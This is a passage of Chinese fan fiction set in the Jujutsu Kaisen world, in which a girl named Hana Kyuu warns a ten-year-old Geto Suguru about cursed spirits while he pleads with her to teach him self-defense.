十岁的夏油杰发誓,他真的只是因为好奇对方手上提着的会不会是什么厉害的武器或者更新奇可怕的东西,才忍不住偷偷多瞄了一眼。
然而对方却在注意到他的视线以后提起了那袋东西给他看,香气一下子侵进鼻腔,夏油杰这才发现,对方手上提的是炸鸡。
“是不喜欢吗?这是KFC和数码宝贝的联名儿童套餐,里面的周边是仅限前五十才有的,你不喜欢数码宝贝吗?”
显然误解了他的意思,少女端起饮料喝了一口,语气平淡的解释道。
眼看着被误会,夏油杰连忙摆了摆手:“当然不是,只是妈妈说过,不可以随便要别人的东西,而且这个限量的,很难买吧?”
他已经在脑子里暗暗计算自己有时候攒下来的零花钱有多少了。
“不是随便给你。”看出他在介意什么,花九静了一瞬。
“是我在感谢你,才请你吃东西,而且我也找店员小姐又预定了一份,所以没关系。”
她的语气笃定,莫名带着种让人信服的气势,夏油杰再说不出拒绝的话,他也不想失去这个来之不易的朋友。
是的,朋友。
是他长这么大第一个见到的,能称为自己同类的朋友。
这个认知让他心脏砰砰跳了起来,哪怕明知道要错过规定的放学时间,但他依然说不出道别的话。
能让母亲担心,自己是不是不算一个乖孩子?
“你是一直能看到那样的怪物,还是这两天突然能看见的?”
坐在他对面的花九冷不丁的开口了。
夏油杰微微一怔,意识到对方正在问自己对怪物的了解,他深吸一口气,悄悄挺直脊背,努力让自己的回答听起来更靠谱一些。
“一直都可以,那种怪物会伤人,所以我一直尽量避免它靠近大家,只是、只是……”不知道想到了什么,他的眼神黯淡了下来。
“只是大家不相信你说的话对不对?”
花九平静地道出他的未尽之语,做出了评价。
“很了不起。”
“我知道大家都说我妄想症,但是我依然做不到去无……欸?”
意料之外的话让面前的黑发男孩愣住了。
“根据我的了解,近年来,如果没有背后的术师家族的加持,正常家庭的咒术师小时候夭折率很高。”
咒灵是不会因为你不知道它的存在,就会放过你的,何况来自人类的注视会更让它们注意到你。
假设有一天,你正在上课,突然看到教室里爬进来了一只怪物,正在旁若无人的靠近你的老师和同学,你真的能控制住不去看它吗?
“我能理解你想要保护他人的行为,但我并不认可。”
花九话锋一转,毫不客气的给他泼冷水,试图让眼前清秀端正的男孩理解死亡的残酷。
“在没有自保能力和帮助别人的能力之前,一味地出头,会让你的下场更凄惨,你认知里的那些怪物,是会杀人的。”
“就当是一场噩梦,远离这个对你来说太残酷的世界,下次再遇到类似的事,不要再贸然出头了,如果遇到危险的话……”
她想了想,拿出纸条写下一行号码推了过去。
“打这个号码,会有人来帮你。”
真是的,在了解到关于咒术师以后,花九愈发觉得,劝人从事这种高危又全年无休的职业就是天打雷劈的事,指指点点。
她咬碎嘴里的冰块,咔嚓一声,但面前的黑发妹妹头男孩在怔忪了一会儿,却没有接过纸条,而是拉住了她的袖口。
“可是我想保护别人。”他冷不丁的开口了。
“姐姐你能理解我看到怪物的感受对不对?你来自那个世界对不对?你可不可以……让我也接触那个世界?”
当然不行。
眼前的男孩明显只是普通家庭的出身,诅咒从负面情绪里诞生,当咒术师太容易扭曲了,这无疑是一条神秘但危险的道路。
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夜蛾先生说过,在他上学那几届里就有普通人咒术师因为精神崩溃,最后沦为诅咒师被昔日的同窗杀死。
但是,要怎么说服眼前这个目测看上去和悟少爷年纪差不多的男孩呢?
“你今天看到的那只咒灵,如果我当时没有出手,你就会被它掏出血淋淋的内脏,死状惨烈的躺在那条巷子里,最差的情况是,你连全尸都没有。”
她决定摈弃委婉的说话,直接的告诉了他很有可能面临的后果。
但眼前的男孩却并没有因此露出恐惧的表情,他倔强的抓着她的袖子不放。
“……那我也不会因此放弃的,比起死掉,我有更害怕的东西。”
他的眼神和语气过于坚定,花九静了静,有些应付不来这样的人。
小治正处于叛逆期时曾经把玩她的头发似笑非笑的说她看上去是那种死缠烂打就能被追上的人呢,虽然花九并不认同这点,但当下面对连咒灵都不害怕的小男孩,她也有些词穷。
是严厉的劝退他呢,还是要动之以情晓之以理说服他呢?
花九张了张嘴,最后说出的只有干巴巴的两个字。
“……不行。”
果然,面前黑发男孩的眼神瞬间黯淡了下去,他看上去并不擅长勉强别人,但此时依然执拗的抓着她的手指。
“如果、如果只是自保呢?您只需要在有时间的时候,教我一些自保的能力,这样我在遇到危险,也可以保护好自己和他人。”
夏油杰声音轻轻的,他有双干净又温柔的眼睛,眼尾微微上挑,此时正仰起脸,固执又忐忑的盯着花九。
“……拜托你了,姐姐。”
像是感受到了她的动摇,脑内再次响起神明机械的声音。
“答应他。”
花九:“……”闭嘴吧你个人工智障。
又温柔又有礼貌,还有很强的正义感,还特别会示弱,和总是骂别人杂碎、任性的悟少爷比起来这性格简直是天使吧!!!
当然,彼时心软的花九绝对不会想到,在短短几年后,这俩人的存在会宛如台风过境,魔童降世。